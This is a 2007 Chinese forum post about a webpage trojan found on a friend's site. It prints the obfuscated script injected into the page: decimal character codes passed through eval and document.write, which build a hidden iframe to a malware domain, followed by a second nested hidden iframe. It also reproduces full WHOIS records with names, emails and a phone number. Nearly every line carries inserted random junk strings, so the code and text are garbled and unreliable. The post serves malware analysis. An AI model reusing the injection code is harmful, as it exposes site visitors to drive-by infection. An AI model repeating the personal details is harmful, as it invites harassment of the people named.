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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, <4P4u*/o  
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http://www.areway.cn/?p=175 G5C I<KRK#  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: 5*1D$mxD"  
          C}_ ojcR  
<script>t=’60,105,102,114,97,109,101, ; mZW{j  
32,115,114,99,61,104,116,116,112,58,47,47, [N/"5 [  
102,114,101,101,46,117,45,117,117,117,46,99, K#pNe c  
110,47,101,114,114,111,114,46,104,116,109, DP3PYJ%+B  
32,119,105,100,116,104,61,49,48,48,32,104, JwAYG5W  
101,105,103,104,116,61,48,62,60,47,105,102, LUqB&,a}  
114,97,109,101,62′; go'-5in(  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> dvt9u9Vg=  
                                                                                                  Bh;7C@dq  
<script>t=’60,105,102,114,97,109,101,32,115, UE$UR#T'w  
114,99,61,104,116,116,112,58,47,47,102,114, hM{{\yZS  
101,101,46,117,45,117,117,117,46,99,110,47, 5 u*-L_  
101,114,114,111,114,46,104,116,109,32,119, =Ur}~w&H8  
105,100,116,104,61,49,48,48,32,104,101,105, ~ xft  
103,104,116,61,48,62,60,47,105,102,114,97, >D(RYI  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); +\F'iAs@  
document.write(t);</script> xHz[t6;4;  
                                                                                                  gqu?o&>9  
<html xmlns=” z@B=:tf  
http://www.w3.org/1999/xhtml Fsif6k=4  
“> rvXWcu-"  
<head> !V i@1E  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> SjwyLc  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> cp#JBH O  
<title>首页 - 爱生活家庭网 P!+'1KR  
                                                                                                                                                    yIDD@j=l  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 J6L  K  
转换字符串后的大概内容是(谁点击后果自付):  DX"xy  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… p2DrEId  
                                                                                                                                  .ys6"V|31  
查询玉米u-uuu.cn的详细信息: 9983aFam  
Domain Name: u-uuu.cn ?e,pN,4  
ROID: 20070901s10001s64972306-cn @U3Vc|  
Domain Status: ok e^<#53!  
Registrant Organization: 王雷 QA5Qwe L  
Registrant Name: 王雷 K }Vv4x1U  
Administrative Email: czlovexs@126.com XqW@rU  
Sponsoring Registrar: 北京万网志成科技有限公司 Aq0S-HKF  
Name Server:ns.yovole.com CS==A57I  
Name Server:ns1.yovole.com l i0i"  
Registration Date: 2007-09-01 17:54 & 8l%T'gd  
Expiration Date: 2008-09-01 17:54 e S<lwA_  
最后PING了一下地址 都没有什么…. @8;W\L$~1  
                                                                                                /J:bWr  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. 9Hc$G{[a  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> $!8-? ?ML  
<script language=”javascript” src=” P DrZY.-  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ,!7 H]4Qx  
> 1e&QSzL  
这个玉米应该有可能是木马作者的: h $L/<3oP6  
foafau.info的详细信息: ;uw Ryd  
Access to INFO WHOIS information is provided to assist persons in ]cGA~d  
determining the contents of a domain name registration record in the |aT| l^2R@  
Afilias registry database. The data in this record is provided by UG'9*(*  
Afilias Limited for informational purposes only, and Afilias does not XVv K2(  
guarantee its accuracy.  This service is intended only for query-based 5ZMR,SZhC  
access. You agree that you will use this data only for lawful purposes G|( ]bvJ?  
and that, under no circumstances will you use this data to: (a) allow, -5I2ga  
enable, or otherwise support the transmission by e-mail, telephone, or 2Fq<*pxAY  
facsimile of mass unsolicited, commercial advertising or solicitations BPdfYu ,il  
to entities other than the data recipient’s own existing customers; or 34d3g  
(b) enable high volume, automated, electronic processes that send l,,> & F  
queries or data to the systems of Registry Operator, a Registrar, or Bc6|n :;u  
Afilias except as reasonably necessary to register domain names or }RwSp!}C  
modify existing registrations. All rights reserved. Afilias reserves S%yd5<%_  
the right to modify these terms at any time. By submitting this query, DRc)iE>@  
you agree to abide by this policy. ; =X P&  
Domain ID:D22418703-LRMS yjhf   
Domain Name:FOAFAU.INFO ,)iKH]lY=  
Created On:20-Nov-2007 16:05:42 UTC $aN&nhoO<  
Last Updated On:20-Nov-2007 16:05:44 UTC .h>8@5/s  
Expiration Date:20-Nov-2008 16:05:42 UTC IuNiEtKx  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) )tl.s)"N  
Status:CLIENT DELETE PROHIBITED +TQ47Z c  
Status:CLIENT RENEW PROHIBITED hA33K #bC  
Status:CLIENT TRANSFER PROHIBITED {3.r6ZwCn  
Status:CLIENT UPDATE PROHIBITED tb$LriN  
Status:TRANSFER PROHIBITED ?84 s4BpV1  
Registrant ID:GODA-040110615 [BT/~6ovrZ  
Registrant Name:liu hong pb$~b\s]=  
Registrant Organization: qU#BJON]BR  
Registrant Street1:beijing 3 AsT  
Registrant Street2: _ B 5gR  
Registrant Street3: zJ)*Z,7  
Registrant City:beijing 'rr^2d]`ST  
Registrant State/Province: il \$@Bn  
Registrant Postal Code:100000 p~9vP)74u  
Registrant Country:CN sfOHarww  
Registrant Phone:+86.860108888777 #3_*]8K.R  
Registrant Phone Ext.: IiZ&Pr  
Registrant FAX: CC@.MA@9N  
Registrant FAX Ext.: ?_Q/}@`  
Registrant Email:bbbshiji@163.com &9"-`-[e:  
Admin ID:GODA-240110615 }b0; 0j  
Admin Name:liu hong >&p0d0  
Admin Organization: t$A%*JBKm  
Admin Street1:beijing #:^YI c  
Admin Street2: -$WYj "  
Admin Street3: l?Fb ='#  
Admin City:beijing @ )-$kk*  
Admin State/Province: &d5ia+ #  
Admin Postal Code:100000 <~n$1aA  
Admin Country:CN ;d'Z|H;  
Admin Phone:+86.860108888777 E5N{j4\F  
Admin Phone Ext.: ea~:}!-P  
Admin FAX: $.GOZqMs  
Admin FAX Ext.: <]b7ZF]  
Admin Email:bbbshiji@163.com bf!M#QOk?  
Billing ID:GODA-340110615 FDv+*sZ  
Billing Name:liu hong ijdXU8  
Billing Organization: FN%m0"/Z{t  
Billing Street1:beijing >B2q+tA  
Billing Street2: E Kz'&Gu  
Billing Street3: d\FJFMW*9  
Billing City:beijing +{L<? "  
Billing State/Province: YBP:q2H  
Billing Postal Code:100000 >$,y5 AJ&  
Billing Country:CN N1}={yF.fQ  
Billing Phone:+86.860108888777 N~NQ6:R[  
Billing Phone Ext.: =?s 3iP  
Billing FAX: hQDTS>U  
Billing FAX Ext.: r?*NhLG ;  
Billing Email:bbbshiji@163.com (>I`{9x>6  
Tech ID:GODA-140110615 l+g9 5m jP  
Tech Name:liu hong y(=#WlK }  
Tech Organization: L0tAgW!@  
Tech Street1:beijing A^2Uzmzl?  
Tech Street2: &g~ wS@  
Tech Street3: 0#YX=vjX7  
Tech City:beijing $LLA,?;!  
Tech State/Province: hwI Mn33  
Tech Postal Code:100000 j~e;DO  
Tech Country:CN OKvPL=~  
Tech Phone:+86.860108888777 S:x?6IDPC^  
Tech Phone Ext.: DANw1 _X\  
Tech FAX: )h8\u_U  
Tech FAX Ext.: =T7A]U]  
Tech Email:bbbshiji@163.com y T#{UA^  
Name Server:NS27.DOMAINCONTROL.COM (Gw,2 -A  
Name Server:NS28.DOMAINCONTROL.COM }Iz7l{al   
Name Server: K&U7H:  
Name Server: `/MvQ/  
Name Server: \a=D  
Name Server: DVkB$2]  
Name Server: FA }_(Hf.[  
Name Server: .LuB\o$  
Name Server: en:4H   
Name Server:  aKd+CO:  
Name Server: "luR9l,RRE  
Name Server: Q lHd,w  
Name Server: !E-Pa5s  
                                                                                                          3^Q]j^e4Ny  
接着下载每个文件里面的代码: CCX8>09  
一步一步看.. V86Xg:?7  
ocyb5j  
%O<%UmR  
8B#GbS K  
M!tXN&V]  
A?oXqb  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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